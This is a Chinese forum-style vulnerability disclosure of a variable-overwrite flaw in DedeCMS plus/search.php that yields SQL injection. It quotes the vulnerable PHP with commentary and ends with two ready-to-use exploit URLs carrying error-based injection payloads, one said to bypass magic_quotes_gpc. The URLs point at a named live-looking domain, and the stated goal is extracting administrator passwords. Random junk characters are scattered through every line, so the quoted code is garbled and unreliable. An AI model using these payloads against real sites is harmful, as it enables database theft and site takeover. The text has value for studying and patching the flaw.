微博上看到就分析了一下,这个漏洞不止一处地方可以被利用.其实可以无视magic_quotes_gpc = On的时候.真心不鸡肋.4 S. ]6 d3 ~( u
作者: c4rp3nt3r@0x50sec.org0 c9 K4 m& C* s
Dedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.
. ]9 x3 q& y( J. ~0 O
. \2 |8 x8 T0 ?9 V4 L$ {黑哥说漏洞已补.怪我没有测试好.也没用这个黑站…不过这个漏洞真心不错,应该有一定利用价值.标题就不改了,补了就公开了吧.! J0 P" ~: L; t" M
0 s: p( I( ~9 a; i9 O }============1 Q8 F5 @" ]6 [# F
+ a* Q- f" v+ k1 E5 q: \/ V
1 k* B$ K8 D- g6 \# N8 p. t$ E9 qDedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.
7 x( j* f9 K1 Y4 l* ~
: _. q7 M @' G$ l7 {% J. H. Crequire_once(dirname(__FILE__).”/../include/common.inc.php”);
" o' t0 j" U% g3 [. ]require_once(DEDEINC.”/arc.searchview.class.php”);
* R; A- G* P9 K& l: n! d0 l 5 u9 w# r% l" Y; g( t
$pagesize = (isset($pagesize) && is_numeric($pagesize)) ? $pagesize : 10;* _3 v d# B4 {' W' A3 A/ X) ~
$typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0;
$ b) s! S, l, w* V- j$channeltype = (isset($channeltype) && is_numeric($channeltype)) ? $channeltype : 0;
0 v3 o7 \/ C6 Y2 l$kwtype = (isset($kwtype) && is_numeric($kwtype)) ? $kwtype : 1;# E- @( v) M2 I) P# y! y) T# q
$mid = (isset($mid) && is_numeric($mid)) ? $mid : 0;6 ]' x$ w' Y. C/ U' x' @
6 j( M6 I8 H9 y- `: s, m' m3 eif(!isset($orderby)) $orderby=”;
3 o8 ]* t6 r) r6 O' e3 V+ Uelse $orderby = preg_replace(“#[^a-z]#i”, ”, $orderby);
) t4 M r+ Z$ S$ G6 K, x& g
, } ?; J% }. \
j X$ C$ u* B$ Z6 l1 gif(!isset($searchtype)) $searchtype = ‘titlekeyword’;
A. k+ }+ h1 t1 ~- x2 k" I2 welse $searchtype = preg_replace(“#[^a-z]#i”, ”, $searchtype);
; n* d3 f; M- X! |9 T& Z/ @
$ ~' `0 l' F- [1 Yif(!isset($keyword)){# ~, }: R8 S, X9 s8 ^: H! G
if(!isset($q)) $q = ”;( \1 b6 C. y3 B0 e# u4 {
$keyword=$q;
r( y* ?. Z6 d/ J, A. g}& X |; T8 Z* U+ n! `
/ x3 c, p. f1 N% R% Z* _$oldkeyword = $keyword = FilterSearch(stripslashes($keyword));
1 u* I/ C" k5 }8 _4 p4 @! s% W
( v$ ~6 K9 ^: l2 D& X8 Y//查找栏目信息% U& R) O9 S9 [( Q" X7 r
if(empty($typeid))
/ a; K) s& e/ K{
: d! s8 {: B! G& I+ \* e9 U $typenameCacheFile = DEDEDATA.’/cache/typename.inc’;( a' l- d. q) M5 q6 A. W
if(!file_exists($typenameCacheFile) || filemtime($typenameCacheFile) < time()-(3600*24) )& H$ C G& T5 P) D
{
$ P: W) c1 V0 z4 f0 c9 F $fp = fopen(DEDEDATA.’/cache/typename.inc’, ‘w’);2 |- e8 @& M$ v9 n$ S3 y/ I
fwrite($fp, “<”.”?php\r\n”);
; P( }8 ?2 y' q# B $dsql->SetQuery(“Select id,typename,channeltype From `#@__arctype`”);
% ~$ A1 ` Q- n# w& x' @+ @ $dsql->Execute();
/ R, W n2 k+ W while($row = $dsql->GetArray())0 k9 Y+ q% i$ V/ i c
{6 |- M7 T8 q6 a" v! S( a
fwrite($fp, “\$typeArr[{$row['id']}] = ‘{$row['typename']}’;\r\n”);* `7 L B5 x0 U5 u" ]# a
}
$ d5 [5 r: } x/ f& X' W( a; t fwrite($fp, ‘?’.'>’);
( E# N" m3 u1 x4 @. }' K! ? fclose($fp);$ i8 q1 Z5 U" e% Y1 x. ^" B4 Y
}0 |4 y: g/ w! Z$ r5 j' H
//引入栏目缓存并看关键字是否有相关栏目内容
& V. e% p$ e3 z6 W* o require_once($typenameCacheFile);! Z8 w1 ], J: Y+ B" d } P
//$typeArr这个数组是包含生成的临时文件 里面定义的,由于dedecms的全局变量机制,我们可以自己定义一个$ W4 E2 C! y( z
//6 j. p& Y4 \; `0 Y/ @
if(isset($typeArr) && is_array($typeArr))& L. G) e/ x5 D# u9 n
{
3 P: o! c, p3 K& l" U foreach($typeArr as $id=>$typename)
6 u: f" y# i, t! b' J1 z {
7 N& D* P$ O6 a w4 l! [9 m
0 z/ T* S2 f" @9 u <font color=”Red”>$keywordn = str_replace($typename, ‘ ‘, $keyword);</font> //这个地方要绕过
, d; S. U( Q2 C# r4 p8 ` if($keyword != $keywordn)6 }0 ]+ @% M0 X6 e) _4 U
{0 f+ K0 e9 h. f; x1 p2 F& B T
$keyword = $keywordn;
# y$ ^2 m) l& U; }. G: k <font color=”Red”>$typeid = $id; </font>// 这里存在变量覆盖漏洞使 $typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0; 这句过滤成了摆设
8 D7 a0 T1 x! ?: g+ w break;% M( T9 ^2 W( E# Q
}
9 F0 v& _+ \, D i }
) E! k+ h8 J, M& V& M }% r& ^) ]+ B! N1 ^0 W& _
}5 d7 n# v3 b# P
然后plus/search.php文件下面定义了一个 Search类的对象 .1 X: W( Q8 G: C# U0 W
在arc.searchview.class.php 文件的SearchView类的构造函数 声明了一个TypeLink类." a- i8 L7 d! G% |1 W
$this->TypeLink = new TypeLink($typeid);
& Z+ }) [3 W2 @( r, {6 n4 j
5 h9 K! j3 w$ I0 G4 I+ O% JTypeLink类的构造函数没有经过过滤,(程序员以为前面已经过滤过了… )直接带入了sql语句.
9 A# [4 l& e+ C
' q" R; f4 A8 d$ M6 U! pclass TypeLink
) V' F. L, R( G{
4 `* y, L6 [) ^6 w- |: n; i var $typeDir;
# @3 a6 n9 _- d' e' F& K7 u! ~ var $dsql;
* N) E. s3 A. i3 c' J3 b# B5 K var $TypeID;
# x( Y. E- d& r2 k4 U6 g var $baseDir;
6 k9 Z t; y) P1 D" L, Q4 O( J var $modDir;
( A w, f+ K7 }, v* `, I var $indexUrl;
4 y! B R- C6 r4 i( z, `6 p+ @ var $indexName;% W) Y9 ^$ \- n) m+ ~: t0 l4 m
var $TypeInfos;
3 n8 G/ f: M* h- ~ var $SplitSymbol;
4 L K5 y2 y. x! P. Z var $valuePosition;; T" E" T5 u9 m
var $valuePositionName;; f0 y4 X+ R0 k# D. O
var $OptionArrayList;//构造函数///////8 Q* S% Q- x2 f* W8 t/ l" @4 k4 S
//php5构造函数
6 {0 a; D$ ^- a9 y& y' E9 Q ^' ] function __construct($typeid)/ N# y5 M' w7 U4 F, b8 ]3 |
{
: x: g+ r2 i: L5 r2 r6 j $this->indexUrl = $GLOBALS['cfg_basehost'].$GLOBALS['cfg_indexurl'];
1 b' `9 f' P) U, ^4 z, K $this->indexName = $GLOBALS['cfg_indexname'];, ? S9 u. @ P. o; d, q y
$this->baseDir = $GLOBALS['cfg_basedir'];
1 `* M/ q5 \/ n9 x1 r. U! k4 P T $this->modDir = $GLOBALS['cfg_templets_dir'];
9 x) M% k0 W+ [* r5 o $this->SplitSymbol = $GLOBALS['cfg_list_symbol'];
" n' o3 Q, y# Y& i1 N0 A $this->dsql = $GLOBALS['dsql'];
5 q1 N! X/ H. e$ P; S0 x4 L0 E $this->TypeID = $typeid;! x. V! [9 }- s% E. B/ ~
$this->valuePosition = ”;' O* v8 [8 J. C8 w8 y$ Q' p7 C1 X# B
$this->valuePositionName = ”;; m' g! G }( {4 A
$this->typeDir = ”;
" d* k! e) @9 ?: M* j5 L/ s) @ $this->OptionArrayList = ”;1 H, R& L- g& d' Q
% F5 p6 S6 \" {9 n' z //载入类目信息
, d# \$ h2 v( e3 B
9 k- B6 V( b6 f6 h# F <font color=”Red”>$query = “SELECT tp.*,ch.typename as
`3 J& x1 m) O2 Mctypename,ch.addtable,ch.issystem FROM `#@__arctype` tp left join4 Z5 o- t; m. O# ^
`#@__channeltype` ch) q* D9 \- t; s$ R# X# T' l
on ch.id=tp.channeltype WHERE tp.id=’$typeid’ “;</font> //注射漏洞发生在这里,很明显需要magic_quotes_gpc = Off 鸡肋了吗?好可以吧至少不需要会员中心阿
# w: m/ x- u0 H7 D, Q
, I+ y8 B$ {, R' D4 n- C5 ]" [9 Y, Z* Q D if($typeid > 0): f3 @$ a, T* k
{+ ~8 h+ o b* C3 T1 M9 P! y
$this->TypeInfos = $this->dsql->GetOne($query);
6 }+ x" u& |8 d6 d利用代码一 需要 即使magic_quotes_gpc = Off
5 _: B$ q9 b3 U7 O1 c3 p 5 W& @: y! |6 V! j8 K9 O
www.political-security.com/plus/search.php?typeArr[2%27%20and%20@%60\%27%60%3D0and%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20%27]=c4&kwtype=0&q=c4rp3nt3r&searchtype=title! ?) |0 h& F( u( e: E0 H
4 {6 P3 _2 e+ w" U$ T; y这只是其中一个利用代码… Search 类的构造函数再往下: Z# `4 a; X3 N6 H9 Z/ Y
# a$ Z; W8 B* m
……省略
5 a6 h. G1 e F! J" R* t! N1 _" j$this->TypeID = $typeid;( S6 f- G- } ~4 [" P7 |0 G' Q! E
……省略
% a& K) R* j0 R( z! qif($this->TypeID==”0″){
! s1 `. c7 T) ?7 x: E $this->ChannelTypeid=1;
- C" F6 Z. O/ z0 p" c/ n7 X }else{7 ? E% f2 S9 V- |% i
$row =$this->dsql->GetOne(“SELECT channeltype FROM `#@__arctype` WHERE id={$this->TypeID}”); //这里的注入漏洞无视magic_quotes_gpc = On的存在哦亲
! {! L; t1 ]& Z) [9 |4 H- l//现在不鸡肋了吧亲…0 i. I( i8 K6 S1 z
$this->ChannelTypeid=$row['channeltype'];
" i& r6 J% n" Y( p 0 z. z1 f' r, g! @' _: Q6 b! _
}0 }& y1 p; x, E7 f# s& x
利用代码二,下面这个EXP 即使magic_quotes_gpc = On 也可以成功利用.
7 x# q+ ]) v! ~# m, W' A; S- j
* P( z* D! B1 z4 m. Rwww.political-security.com /plus/search.php?typeArr[1%20or%20@%60%27%60%3D1%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20@%60%27%60%3D0]=11&&kwtype=0&q=1111&searchtype=title% T: b; u! m$ Y
, M0 t- }* e1 y
如果那个数据库里存在内容,就要考虑的复杂点了.我也没考虑那么周全,分析了下然后简单测试了下,也没用来黑站" V6 M( E9 C( ]" s. p1 }
|